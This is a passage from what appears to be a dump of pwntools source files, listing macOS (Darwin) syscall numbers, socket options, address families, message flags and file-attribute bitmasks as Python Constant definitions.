Constant('SYS_task_inspect_for_pid',538)\nSYS_task_read_for_pid = Constant('SYS_task_read_for_pid',539)\nSYS_preadv = Constant('SYS_preadv',540)\nSYS_pwritev = Constant('SYS_pwritev',541)\nSYS_preadv_nocancel = Constant('SYS_preadv_nocancel',542)\nSYS_pwritev_nocancel = Constant('SYS_pwritev_nocancel',543)\nSYS_ulock_wait2 = Constant('SYS_ulock_wait2',544)\nSYS_proc_info_extended_id = Constant('SYS_proc_info_extended_id',545)\nSYS_tracker_action = Constant('SYS_tracker_action',546)\nSYS_debug_syscall_reject = Constant('SYS_debug_syscall_reject',547)\nSYS_debug_syscall_reject_config = Constant('SYS_debug_syscall_reject_config',548)\nSYS_graftdmg = Constant('SYS_graftdmg',549)\nSYS_map_with_linking_np = Constant('SYS_map_with_linking_np',550)\nSYS_freadlink = Constant('SYS_freadlink',551)\nSYS_record_system_event = Constant('SYS_record_system_event',552)\nSYS_mkfifoat = Constant('SYS_mkfifoat',553)\nSYS_mknodat = Constant('SYS_mknodat',554)\nSYS_ungraftdmg = Constant('SYS_ungraftdmg',555)\nSYS_coalition_policy_set = Constant('SYS_coalition_policy_set',556)\nSYS_coalition_policy_get = Constant('SYS_coalition_policy_get',557)\nSYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',558)\nSYS_invalid = Constant('SYS_invalid',63)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSO_DEBUG = Constant('SO_DEBUG',0x0001)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002)\nSO_REUSEADDR = Constant('SO_REUSEADDR',0x0004)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008)\nSO_DONTROUTE = Constant('SO_DONTROUTE',0x0010)\nSO_BROADCAST = Constant('SO_BROADCAST',0x0020)\nSO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040)\nSO_LINGER = Constant('SO_LINGER',0x1080)\nSO_LINGER_SEC = Constant('SO_LINGER_SEC',0x1080)\nSO_OOBINLINE = Constant('SO_OOBINLINE',0x0100)\nSO_REUSEPORT = Constant('SO_REUSEPORT',0x0200)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400)\nSO_TIMESTAMP_MONOTONIC = Constant('SO_TIMESTAMP_MONOTONIC',0x0800)\nSO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000)\nSO_DONTTRUNC = Constant('SO_DONTTRUNC',0x2000)\nSO_WANTMORE = Constant('SO_WANTMORE',0x4000)\nSO_WANTOOBFLAG = Constant('SO_WANTOOBFLAG',0x8000)\nSO_SNDBUF = Constant('SO_SNDBUF',0x1001)\nSO_RCVBUF = Constant('SO_RCVBUF',0x1002)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006)\nSO_ERROR = Constant('SO_ERROR',0x1007)\nSO_TYPE = Constant('SO_TYPE',0x1008)\nSO_LABEL = Constant('SO_LABEL',0x1010)\nSO_PEERLABEL = Constant('SO_PEERLABEL',0x1011)\nSO_NREAD = Constant('SO_NREAD',0x1020)\nSO_NKE = Constant('SO_NKE',0x1021)\nSO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x1022)\nSO_NOADDRERR = Constant('SO_NOADDRERR',0x1023)\nSO_NWRITE = Constant('SO_NWRITE',0x1024)\nSO_REUSESHAREUID = Constant('SO_REUSESHAREUID',0x1025)\nSO_NOTIFYCONFLICT = Constant('SO_NOTIFYCONFLICT',0x1026)\nSO_UPCALLCLOSEWAIT = Constant('SO_UPCALLCLOSEWAIT',0x1027)\nSO_RANDOMPORT = Constant('SO_RANDOMPORT',0x1082)\nSO_NP_EXTENSIONS = Constant('SO_NP_EXTENSIONS',0x1083)\nSO_NUMRCVPKT = Constant('SO_NUMRCVPKT',0x1112)\nSO_NET_SERVICE_TYPE = Constant('SO_NET_SERVICE_TYPE',0x1116)\nSO_NETSVC_MARKING_LEVEL = Constant('SO_NETSVC_MARKING_LEVEL',0x1119)\nSO_RESOLVER_SIGNATURE = Constant('SO_RESOLVER_SIGNATURE',0x1131)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',0x1134)\nNET_SERVICE_TYPE_BE = Constant('NET_SERVICE_TYPE_BE',0)\nNET_SERVICE_TYPE_BK = Constant('NET_SERVICE_TYPE_BK',1)\nNET_SERVICE_TYPE_SIG = Constant('NET_SERVICE_TYPE_SIG',2)\nNET_SERVICE_TYPE_VI = Constant('NET_SERVICE_TYPE_VI',3)\nNET_SERVICE_TYPE_VO = Constant('NET_SERVICE_TYPE_VO',4)\nNET_SERVICE_TYPE_RV = Constant('NET_SERVICE_TYPE_RV',5)\nNET_SERVICE_TYPE_AV = Constant('NET_SERVICE_TYPE_AV',6)\nNET_SERVICE_TYPE_OAM = Constant('NET_SERVICE_TYPE_OAM',7)\nNET_SERVICE_TYPE_RD = Constant('NET_SERVICE_TYPE_RD',8)\nNETSVC_MRKNG_UNKNOWN = Constant('NETSVC_MRKNG_UNKNOWN',0)\nNETSVC_MRKNG_LVL_L2 = Constant('NETSVC_MRKNG_LVL_L2',1)\nNETSVC_MRKNG_LVL_L3L2_ALL = Constant('NETSVC_MRKNG_LVL_L3L2_ALL',2)\nNETSVC_MRKNG_LVL_L3L2_BK = Constant('NETSVC_MRKNG_LVL_L3L2_BK',3)\nSAE_ASSOCID_ANY = Constant('SAE_ASSOCID_ANY',0)\nSAE_CONNID_ANY = Constant('SAE_CONNID_ANY',0)\nCONNECT_RESUME_ON_READ_WRITE = Constant('CONNECT_RESUME_ON_READ_WRITE',0x1)\nCONNECT_DATA_IDEMPOTENT = Constant('CONNECT_DATA_IDEMPOTENT',0x2)\nCONNECT_DATA_AUTHENTICATED = Constant('CONNECT_DATA_AUTHENTICATED',0x4)\nSONPX_SETOPTSHUT = Constant('SONPX_SETOPTSHUT',0x000000001)\nSOL_SOCKET = Constant('SOL_SOCKET',0xffff)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_INET = Constant('AF_INET',2)\nAF_IMPLINK = Constant('AF_IMPLINK',3)\nAF_PUP = Constant('AF_PUP',4)\nAF_CHAOS = Constant('AF_CHAOS',5)\nAF_NS = Constant('AF_NS',6)\nAF_ISO = Constant('AF_ISO',7)\nAF_ECMA = Constant('AF_ECMA',8)\nAF_DATAKIT = Constant('AF_DATAKIT',9)\nAF_CCITT = Constant('AF_CCITT',10)\nAF_SNA = Constant('AF_SNA',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_DLI = Constant('AF_DLI',13)\nAF_LAT = Constant('AF_LAT',14)\nAF_HYLINK = Constant('AF_HYLINK',15)\nAF_APPLETALK = Constant('AF_APPLETALK',16)\nAF_ROUTE = Constant('AF_ROUTE',17)\nAF_LINK = Constant('AF_LINK',18)\npseudo_AF_XTP = Constant('pseudo_AF_XTP',19)\nAF_COIP = Constant('AF_COIP',20)\nAF_CNT = Constant('AF_CNT',21)\npseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22)\nAF_IPX = Constant('AF_IPX',23)\nAF_SIP = Constant('AF_SIP',24)\npseudo_AF_PIP = Constant('pseudo_AF_PIP',25)\nAF_NDRV = Constant('AF_NDRV',27)\nAF_ISDN = Constant('AF_ISDN',28)\npseudo_AF_KEY = Constant('pseudo_AF_KEY',29)\nAF_INET6 = Constant('AF_INET6',30)\nAF_NATM = Constant('AF_NATM',31)\nAF_SYSTEM = Constant('AF_SYSTEM',32)\nAF_NETBIOS = Constant('AF_NETBIOS',33)\nAF_PPP = Constant('AF_PPP',34)\npseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',35)\nAF_RESERVED_36 = Constant('AF_RESERVED_36',36)\nAF_IEEE80211 = Constant('AF_IEEE80211',37)\nAF_UTUN = Constant('AF_UTUN',38)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_MAX = Constant('AF_MAX',41)\nSOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255)\n_SS_MAXSIZE = Constant('_SS_MAXSIZE',128)\nNET_RT_DUMP = Constant('NET_RT_DUMP',1)\nNET_RT_FLAGS = Constant('NET_RT_FLAGS',2)\nNET_RT_IFLIST = Constant('NET_RT_IFLIST',3)\nNET_RT_STAT = Constant('NET_RT_STAT',4)\nNET_RT_TRASH = Constant('NET_RT_TRASH',5)\nNET_RT_IFLIST2 = Constant('NET_RT_IFLIST2',6)\nNET_RT_DUMP2 = Constant('NET_RT_DUMP2',7)\nNET_RT_FLAGS_PRIV = Constant('NET_RT_FLAGS_PRIV',10)\nNET_RT_MAXID = Constant('NET_RT_MAXID',11)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',0x1)\nMSG_PEEK = Constant('MSG_PEEK',0x2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4)\nMSG_EOR = Constant('MSG_EOR',0x8)\nMSG_TRUNC = Constant('MSG_TRUNC',0x10)\nMSG_CTRUNC = Constant('MSG_CTRUNC',0x20)\nMSG_WAITALL = Constant('MSG_WAITALL',0x40)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80)\nMSG_EOF = Constant('MSG_EOF',0x100)\nMSG_WAITSTREAM = Constant('MSG_WAITSTREAM',0x200)\nMSG_FLUSH = Constant('MSG_FLUSH',0x400)\nMSG_HOLD = Constant('MSG_HOLD',0x800)\nMSG_SEND = Constant('MSG_SEND',0x1000)\nMSG_HAVEMORE = Constant('MSG_HAVEMORE',0x2000)\nMSG_RCVMORE = Constant('MSG_RCVMORE',0x4000)\nMSG_NEEDSA = Constant('MSG_NEEDSA',0x10000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x80000)\nMSG_USEUPCALL = Constant('MSG_USEUPCALL',0x80000000)\nCMGROUP_MAX = Constant('CMGROUP_MAX',16)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02)\nSCM_CREDS = Constant('SCM_CREDS',0x03)\nSCM_TIMESTAMP_MONOTONIC = Constant('SCM_TIMESTAMP_MONOTONIC',0x04)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nSBUF_FIXEDLEN = Constant('SBUF_FIXEDLEN',0x00000000)\nSBUF_AUTOEXTEND = Constant('SBUF_AUTOEXTEND',0x00000001)\nSBUF_USRFLAGMSK = Constant('SBUF_USRFLAGMSK',0x0000ffff)\nSBUF_DYNAMIC = Constant('SBUF_DYNAMIC',0x00010000)\nSBUF_FINISHED = Constant('SBUF_FINISHED',0x00020000)\nSBUF_OVERFLOWED = Constant('SBUF_OVERFLOWED',0x00040000)\nSBUF_DYNSTRUCT = Constant('SBUF_DYNSTRUCT',0x00080000)\nSYSPROTO_EVENT = Constant('SYSPROTO_EVENT',1)\nSYSPROTO_CONTROL = Constant('SYSPROTO_CONTROL',2)\nAF_SYS_CONTROL = Constant('AF_SYS_CONTROL',2)\nSO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED',0x00000001)\nSO_TRACKER_ATTRIBUTE_FLAGS_TRACKER = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER',0x00000002)\nSO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT',0x00000004)\nNS_GETRAWENCRYPTED = Constant('NS_GETRAWENCRYPTED',0x00000001)\n"
  },
  {
    "path": "pwnlib/constants/darwin/amd64.py",
    "content": "from pwnlib.constants.constant import Constant\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nDST_NONE = Constant('DST_NONE',0)\nDST_USA = Constant('DST_USA',1)\nDST_AUST = Constant('DST_AUST',2)\nDST_WET = Constant('DST_WET',3)\nDST_MET = Constant('DST_MET',4)\nDST_EET = Constant('DST_EET',5)\nDST_CAN = Constant('DST_CAN',6)\nCHILD_MAX = Constant('CHILD_MAX',266)\nLINK_MAX = Constant('LINK_MAX',32767)\nMAX_CANON = Constant('MAX_CANON',1024)\nMAX_INPUT = Constant('MAX_INPUT',1024)\nNAME_MAX = Constant('NAME_MAX',255)\nNGROUPS_MAX = Constant('NGROUPS_MAX',16)\nOPEN_MAX = Constant('OPEN_MAX',10240)\nPATH_MAX = Constant('PATH_MAX',1024)\nPIPE_BUF = Constant('PIPE_BUF',512)\nBC_BASE_MAX = Constant('BC_BASE_MAX',99)\nBC_DIM_MAX = Constant('BC_DIM_MAX',2048)\nBC_SCALE_MAX = Constant('BC_SCALE_MAX',99)\nBC_STRING_MAX = Constant('BC_STRING_MAX',1000)\nCHARCLASS_NAME_MAX = Constant('CHARCLASS_NAME_MAX',14)\nCOLL_WEIGHTS_MAX = Constant('COLL_WEIGHTS_MAX',2)\nEQUIV_CLASS_MAX = Constant('EQUIV_CLASS_MAX',2)\nEXPR_NEST_MAX = Constant('EXPR_NEST_MAX',32)\nLINE_MAX = Constant('LINE_MAX',2048)\nRE_DUP_MAX = Constant('RE_DUP_MAX',255)\nNZERO = Constant('NZERO',0)\nGETNCNT = Constant('GETNCNT',3)\nGETPID = Constant('GETPID',4)\nGETVAL = Constant('GETVAL',5)\nGETALL = Constant('GETALL',6)\nGETZCNT = Constant('GETZCNT',7)\nSETVAL = Constant('SETVAL',8)\nSETALL = Constant('SETALL',9)\nSEM_UNDO = Constant('SEM_UNDO',0o010000)\nSEM_A = Constant('SEM_A',0o0200)\nSEM_R = Constant('SEM_R',0o0400)\nPSEMNAMLEN = Constant('PSEMNAMLEN',31)\nPSEM_NONE = Constant('PSEM_NONE',1)\nPSEM_DEFINED = Constant('PSEM_DEFINED',2)\nPSEM_ALLOCATED = Constant('PSEM_ALLOCATED',4)\nPSEM_MAPPED = Constant('PSEM_MAPPED',8)\nPSEM_INUSE = Constant('PSEM_INUSE',0x10)\nPSEM_REMOVED = Constant('PSEM_REMOVED',0x20)\nPSEM_INCREATE = Constant('PSEM_INCREATE',0x40)\nPSEM_INDELETE = Constant('PSEM_INDELETE',0x80)\nFSOPT_NOFOLLOW = Constant('FSOPT_NOFOLLOW',0x00000001)\nFSOPT_NOINMEMUPDATE = Constant('FSOPT_NOINMEMUPDATE',0x00000002)\nFSOPT_REPORT_FULLSIZE = Constant('FSOPT_REPORT_FULLSIZE',0x00000004)\nFSOPT_PACK_INVAL_ATTRS = Constant('FSOPT_PACK_INVAL_ATTRS',0x00000008)\nFSOPT_ATTR_CMN_EXTENDED = Constant('FSOPT_ATTR_CMN_EXTENDED',0x00000020)\nFSOPT_RETURN_REALDEV = Constant('FSOPT_RETURN_REALDEV',0x00000200)\nFSOPT_NOFOLLOW_ANY = Constant('FSOPT_NOFOLLOW_ANY',0x00000800)\nSEARCHFS_MAX_SEARCHPARMS = Constant('SEARCHFS_MAX_SEARCHPARMS',4096)\nATTR_BIT_MAP_COUNT = Constant('ATTR_BIT_MAP_COUNT',5)\nVOL_CAPABILITIES_FORMAT = Constant('VOL_CAPABILITIES_FORMAT',0)\nVOL_CAPABILITIES_INTERFACES = Constant('VOL_CAPABILITIES_INTERFACES',1)\nVOL_CAPABILITIES_RESERVED1 = Constant('VOL_CAPABILITIES_RESERVED1',2)\nVOL_CAPABILITIES_RESERVED2 = Constant('VOL_CAPABILITIES_RESERVED2',3)\nATTR_MAX_BUFFER = Constant('ATTR_MAX_BUFFER',8192)\nVOL_CAP_FMT_PERSISTENTOBJECTIDS = Constant('VOL_CAP_FMT_PERSISTENTOBJECTIDS',0x00000001)\nVOL_CAP_FMT_SYMBOLICLINKS = Constant('VOL_CAP_FMT_SYMBOLICLINKS',0x00000002)\nVOL_CAP_FMT_HARDLINKS = Constant('VOL_CAP_FMT_HARDLINKS',0x00000004)\nVOL_CAP_FMT_JOURNAL = Constant('VOL_CAP_FMT_JOURNAL',0x00000008)\nVOL_CAP_FMT_JOURNAL_ACTIVE = Constant('VOL_CAP_FMT_JOURNAL_ACTIVE',0x00000010)\nVOL_CAP_FMT_NO_ROOT_TIMES = Constant('VOL_CAP_FMT_NO_ROOT_TIMES',0x00000020)\nVOL_CAP_FMT_SPARSE_FILES = Constant('VOL_CAP_FMT_SPARSE_FILES',0x00000040)\nVOL_CAP_FMT_ZERO_RUNS = Constant('VOL_CAP_FMT_ZERO_RUNS',0x00000080)\nVOL_CAP_FMT_CASE_SENSITIVE = Constant('VOL_CAP_FMT_CASE_SENSITIVE',0x00000100)\nVOL_CAP_FMT_CASE_PRESERVING = Constant('VOL_CAP_FMT_CASE_PRESERVING',0x00000200)\nVOL_CAP_FMT_FAST_STATFS = Constant('VOL_CAP_FMT_FAST_STATFS',0x00000400)\nVOL_CAP_FMT_2TB_FILESIZE = Constant('VOL_CAP_FMT_2TB_FILESIZE',0x00000800)\nVOL_CAP_FMT_OPENDENYMODES = Constant('VOL_CAP_FMT_OPENDENYMODES',0x00001000)\nVOL_CAP_FMT_HIDDEN_FILES = Constant('VOL_CAP_FMT_HIDDEN_FILES',0x00002000)\nVOL_CAP_FMT_PATH_FROM_ID = Constant('VOL_CAP_FMT_PATH_FROM_ID',0x00004000)\nVOL_CAP_FMT_NO_VOLUME_SIZES = Constant('VOL_CAP_FMT_NO_VOLUME_SIZES',0x00008000)\nVOL_CAP_FMT_DECMPFS_COMPRESSION = Constant('VOL_CAP_FMT_DECMPFS_COMPRESSION',0x00010000)\nVOL_CAP_FMT_64BIT_OBJECT_IDS = Constant('VOL_CAP_FMT_64BIT_OBJECT_IDS',0x00020000)\nVOL_CAP_FMT_DIR_HARDLINKS = Constant('VOL_CAP_FMT_DIR_HARDLINKS',0x00040000)\nVOL_CAP_FMT_DOCUMENT_ID = Constant('VOL_CAP_FMT_DOCUMENT_ID',0x00080000)\nVOL_CAP_FMT_WRITE_GENERATION_COUNT = Constant('VOL_CAP_FMT_WRITE_GENERATION_COUNT',0x00100000)\nVOL_CAP_FMT_NO_IMMUTABLE_FILES = Constant('VOL_CAP_FMT_NO_IMMUTABLE_FILES',0x00200000)\nVOL_CAP_FMT_NO_PERMISSIONS = Constant('VOL_CAP_FMT_NO_PERMISSIONS',0x00400000)\nVOL_CAP_FMT_SHARED_SPACE = Constant('VOL_CAP_FMT_SHARED_SPACE',0x00800000)\nVOL_CAP_FMT_VOL_GROUPS = Constant('VOL_CAP_FMT_VOL_GROUPS',0x01000000)\nVOL_CAP_FMT_SEALED = Constant('VOL_CAP_FMT_SEALED',0x02000000)\nVOL_CAP_FMT_CLONE_MAPPING = Constant('VOL_CAP_FMT_CLONE_MAPPING',0x04000000)\nVOL_CAP_INT_SEARCHFS = Constant('VOL_CAP_INT_SEARCHFS',0x00000001)\nVOL_CAP_INT_ATTRLIST = Constant('VOL_CAP_INT_ATTRLIST',0x00000002)\nVOL_CAP_INT_NFSEXPORT = Constant('VOL_CAP_INT_NFSEXPORT',0x00000004)\nVOL_CAP_INT_READDIRATTR = Constant('VOL_CAP_INT_READDIRATTR',0x00000008)\nVOL_CAP_INT_EXCHANGEDATA = Constant('VOL_CAP_INT_EXCHANGEDATA',0x00000010)\nVOL_CAP_INT_COPYFILE = Constant('VOL_CAP_INT_COPYFILE',0x00000020)\nVOL_CAP_INT_ALLOCATE = Constant('VOL_CAP_INT_ALLOCATE',0x00000040)\nVOL_CAP_INT_VOL_RENAME = Constant('VOL_CAP_INT_VOL_RENAME',0x00000080)\nVOL_CAP_INT_ADVLOCK = Constant('VOL_CAP_INT_ADVLOCK',0x00000100)\nVOL_CAP_INT_FLOCK = Constant('VOL_CAP_INT_FLOCK',0x00000200)\nVOL_CAP_INT_EXTENDED_SECURITY = Constant('VOL_CAP_INT_EXTENDED_SECURITY',0x00000400)\nVOL_CAP_INT_USERACCESS = Constant('VOL_CAP_INT_USERACCESS',0x00000800)\nVOL_CAP_INT_MANLOCK = Constant('VOL_CAP_INT_MANLOCK',0x00001000)\nVOL_CAP_INT_NAMEDSTREAMS = Constant('VOL_CAP_INT_NAMEDSTREAMS',0x00002000)\nVOL_CAP_INT_EXTENDED_ATTR = Constant('VOL_CAP_INT_EXTENDED_ATTR',0x00004000)\nVOL_CAP_INT_CLONE = Constant('VOL_CAP_INT_CLONE',0x00010000)\nVOL_CAP_INT_SNAPSHOT = Constant('VOL_CAP_INT_SNAPSHOT',0x00020000)\nVOL_CAP_INT_RENAME_SWAP = Constant('VOL_CAP_INT_RENAME_SWAP',0x00040000)\nVOL_CAP_INT_RENAME_EXCL = Constant('VOL_CAP_INT_RENAME_EXCL',0x00080000)\nVOL_CAP_INT_RENAME_OPENFAIL = Constant('VOL_CAP_INT_RENAME_OPENFAIL',0x00100000)\nVOL_CAP_INT_RENAME_SECLUDE = Constant('VOL_CAP_INT_RENAME_SECLUDE',0x00200000)\nVOL_CAP_INT_ATTRIBUTION_TAG = Constant('VOL_CAP_INT_ATTRIBUTION_TAG',0x00400000)\nVOL_CAP_INT_PUNCHHOLE = Constant('VOL_CAP_INT_PUNCHHOLE',0x00800000)\nATTR_CMN_NAME = Constant('ATTR_CMN_NAME',0x00000001)\nATTR_CMN_DEVID = Constant('ATTR_CMN_DEVID',0x00000002)\nATTR_CMN_FSID = Constant('ATTR_CMN_FSID',0x00000004)\nATTR_CMN_OBJTYPE = Constant('ATTR_CMN_OBJTYPE',0x00000008)\nATTR_CMN_OBJTAG = Constant('ATTR_CMN_OBJTAG',0x00000010)\nATTR_CMN_OBJID = Constant('ATTR_CMN_OBJID',0x00000020)\nATTR_CMN_OBJPERMANENTID = Constant('ATTR_CMN_OBJPERMANENTID',0x00000040)\nATTR_CMN_PAROBJID = Constant('ATTR_CMN_PAROBJID',0x00000080)\nATTR_CMN_SCRIPT = Constant('ATTR_CMN_SCRIPT',0x00000100)\nATTR_CMN_CRTIME = Constant('ATTR_CMN_CRTIME',0x00000200)\nATTR_CMN_MODTIME = Constant('ATTR_CMN_MODTIME',0x00000400)\nATTR_CMN_CHGTIME = Constant('ATTR_CMN_CHGTIME',0x00000800)\nATTR_CMN_ACCTIME = Constant('ATTR_CMN_ACCTIME',0x00001000)\nATTR_CMN_BKUPTIME = Constant('ATTR_CMN_BKUPTIME',0x00002000)\nATTR_CMN_FNDRINFO = Constant('ATTR_CMN_FNDRINFO',0x00004000)\nATTR_CMN_OWNERID = Constant('ATTR_CMN_OWNERID',0x00008000)\nATTR_CMN_GRPID = Constant('ATTR_CMN_GRPID',0x00010000)\nATTR_CMN_ACCESSMASK = Constant('ATTR_CMN_ACCESSMASK',0x00020000)\nATTR_CMN_FLAGS = Constant('ATTR_CMN_FLAGS',0x00040000)\nATTR_CMN_GEN_COUNT = Constant('ATTR_CMN_GEN_COUNT',0x00080000)\nATTR_CMN_DOCUMENT_ID = Constant('ATTR_CMN_DOCUMENT_ID',0x00100000)\nATTR_CMN_USERACCESS = Constant('ATTR_CMN_USERACCESS',0x00200000)\nATTR_CMN_EXTENDED_SECURITY = Constant('ATTR_CMN_EXTENDED_SECURITY',0x00400000)\nATTR_CMN_UUID = Constant('ATTR_CMN_UUID',0x00800000)\nATTR_CMN_GRPUUID = Constant('ATTR_CMN_GRPUUID',0x01000000)\nATTR_CMN_FILEID = Constant('ATTR_CMN_FILEID',0x02000000)\nATTR_CMN_PARENTID = Constant('ATTR_CMN_PARENTID',0x04000000)\nATTR_CMN_FULLPATH = Constant('ATTR_CMN_FULLPATH',0x08000000)\nATTR_CMN_ADDEDTIME = Constant('ATTR_CMN_ADDEDTIME',0x10000000)\nATTR_CMN_ERROR = Constant('ATTR_CMN_ERROR',0x20000000)\nATTR_CMN_DATA_PROTECT_FLAGS = Constant('ATTR_CMN_DATA_PROTECT_FLAGS',0x40000000)\nATTR_CMN_RETURNED_ATTRS = Constant('ATTR_CMN_RETURNED_ATTRS',0x80000000)\nATTR_CMN_VALIDMASK = Constant('ATTR_CMN_VALIDMASK',0xFFFFFFFF)\nATTR_CMN_SETMASK = Constant('ATTR_CMN_SETMASK',0x51C7FF00)\nATTR_CMN_VOLSETMASK = Constant('ATTR_CMN_VOLSETMASK',0x00006700)\nATTR_VOL_FSTYPE = Constant('ATTR_VOL_FSTYPE',0x00000001)\nATTR_VOL_SIGNATURE = Constant('ATTR_VOL_SIGNATURE',0x00000002)\nATTR_VOL_SIZE = Constant('ATTR_VOL_SIZE',0x00000004)\nATTR_VOL_SPACEFREE = Constant('ATTR_VOL_SPACEFREE',0x00000008)\nATTR_VOL_SPACEAVAIL = Constant('ATTR_VOL_SPACEAVAIL',0x00000010)\nATTR_VOL_MINALLOCATION = Constant('ATTR_VOL_MINALLOCATION',0x00000020)\nATTR_VOL_ALLOCATIONCLUMP = Constant('ATTR_VOL_ALLOCATIONCLUMP',0x00000040)\nATTR_VOL_IOBLOCKSIZE = Constant('ATTR_VOL_IOBLOCKSIZE',0x00000080)\nATTR_VOL_OBJCOUNT = Constant('ATTR_VOL_OBJCOUNT',0x00000100)\nATTR_VOL_FILECOUNT = Constant('ATTR_VOL_FILECOUNT',0x00000200)\nATTR_VOL_DIRCOUNT = Constant('ATTR_VOL_DIRCOUNT',0x00000400)\nATTR_VOL_MAXOBJCOUNT = Constant('ATTR_VOL_MAXOBJCOUNT',0x00000800)\nATTR_VOL_MOUNTPOINT = Constant('ATTR_VOL_MOUNTPOINT',0x00001000)\nATTR_VOL_NAME = Constant('ATTR_VOL_NAME',0x00002000)\nATTR_VOL_MOUNTFLAGS = Constant('ATTR_VOL_MOUNTFLAGS',0x00004000)\nATTR_VOL_MOUNTEDDEVICE = Constant('ATTR_VOL_MOUNTEDDEVICE',0x00008000)\nATTR_VOL_ENCODINGSUSED = Constant('ATTR_VOL_ENCODINGSUSED',0x00010000)\nATTR_VOL_CAPABILITIES = Constant('ATTR_VOL_CAPABILITIES',0x00020000)\nATTR_VOL_UUID = Constant('ATTR_VOL_UUID',0x00040000)\nATTR_VOL_FSTYPENAME = Constant('ATTR_VOL_FSTYPENAME',0x00100000)\nATTR_VOL_FSSUBTYPE = Constant('ATTR_VOL_FSSUBTYPE',0x00200000)\nATTR_VOL_SPACEUSED = Constant('ATTR_VOL_SPACEUSED',0x00800000)\nATTR_VOL_QUOTA_SIZE = Constant('ATTR_VOL_QUOTA_SIZE',0x10000000)\nATTR_VOL_RESERVED_SIZE = Constant('ATTR_VOL_RESERVED_SIZE',0x20000000)\nATTR_VOL_ATTRIBUTES = Constant('ATTR_VOL_ATTRIBUTES',0x40000000)\nATTR_VOL_INFO = Constant('ATTR_VOL_INFO',0x80000000)\nATTR_VOL_VALIDMASK = Constant('ATTR_VOL_VALIDMASK',0xF0B7FFFF)\nATTR_VOL_SETMASK = Constant('ATTR_VOL_SETMASK',0x80002000)\nATTR_DIR_LINKCOUNT = Constant('ATTR_DIR_LINKCOUNT',0x00000001)\nATTR_DIR_ENTRYCOUNT = Constant('ATTR_DIR_ENTRYCOUNT',0x00000002)\nATTR_DIR_MOUNTSTATUS = Constant('ATTR_DIR_MOUNTSTATUS',0x00000004)\nATTR_DIR_ALLOCSIZE = Constant('ATTR_DIR_ALLOCSIZE',0x00000008)\nATTR_DIR_IOBLOCKSIZE = Constant('ATTR_DIR_IOBLOCKSIZE',0x00000010)\nATTR_DIR_DATALENGTH = Constant('ATTR_DIR_DATALENGTH',0x00000020)\nDIR_MNTSTATUS_MNTPOINT = Constant('DIR_MNTSTATUS_MNTPOINT',0x00000001)\nDIR_MNTSTATUS_TRIGGER = Constant('DIR_MNTSTATUS_TRIGGER',0x00000002)\nATTR_DIR_VALIDMASK = Constant('ATTR_DIR_VALIDMASK',0x0000003f)\nATTR_DIR_SETMASK = Constant('ATTR_DIR_SETMASK',0x00000000)\nATTR_FILE_LINKCOUNT = Constant('ATTR_FILE_LINKCOUNT',0x00000001)\nATTR_FILE_TOTALSIZE = Constant('ATTR_FILE_TOTALSIZE',0x00000002)\nATTR_FILE_ALLOCSIZE = Constant('ATTR_FILE_ALLOCSIZE',0x00000004)\nATTR_FILE_IOBLOCKSIZE = Constant('ATTR_FILE_IOBLOCKSIZE',0x00000008)\nATTR_FILE_DEVTYPE = Constant('ATTR_FILE_DEVTYPE',0x00000020)\nATTR_FILE_FORKCOUNT = Constant('ATTR_FILE_FORKCOUNT',0x00000080)\nATTR_FILE_FORKLIST = Constant('ATTR_FILE_FORKLIST',0x00000100)\nATTR_FILE_DATALENGTH = Constant('ATTR_FILE_DATALENGTH',0x00000200)\nATTR_FILE_DATAALLOCSIZE = Constant('ATTR_FILE_DATAALLOCSIZE',0x00000400)\nATTR_FILE_RSRCLENGTH = Constant('ATTR_FILE_RSRCLENGTH',0x00001000)\nATTR_FILE_RSRCALLOCSIZE = Constant('ATTR_FILE_RSRCALLOCSIZE',0x00002000)\nATTR_FILE_VALIDMASK = Constant('ATTR_FILE_VALIDMASK',0x000037FF)\nATTR_FILE_SETMASK = Constant('ATTR_FILE_SETMASK',0x00000020)\nATTR_CMNEXT_RELPATH = Constant('ATTR_CMNEXT_RELPATH',0x00000004)\nATTR_CMNEXT_PRIVATESIZE = 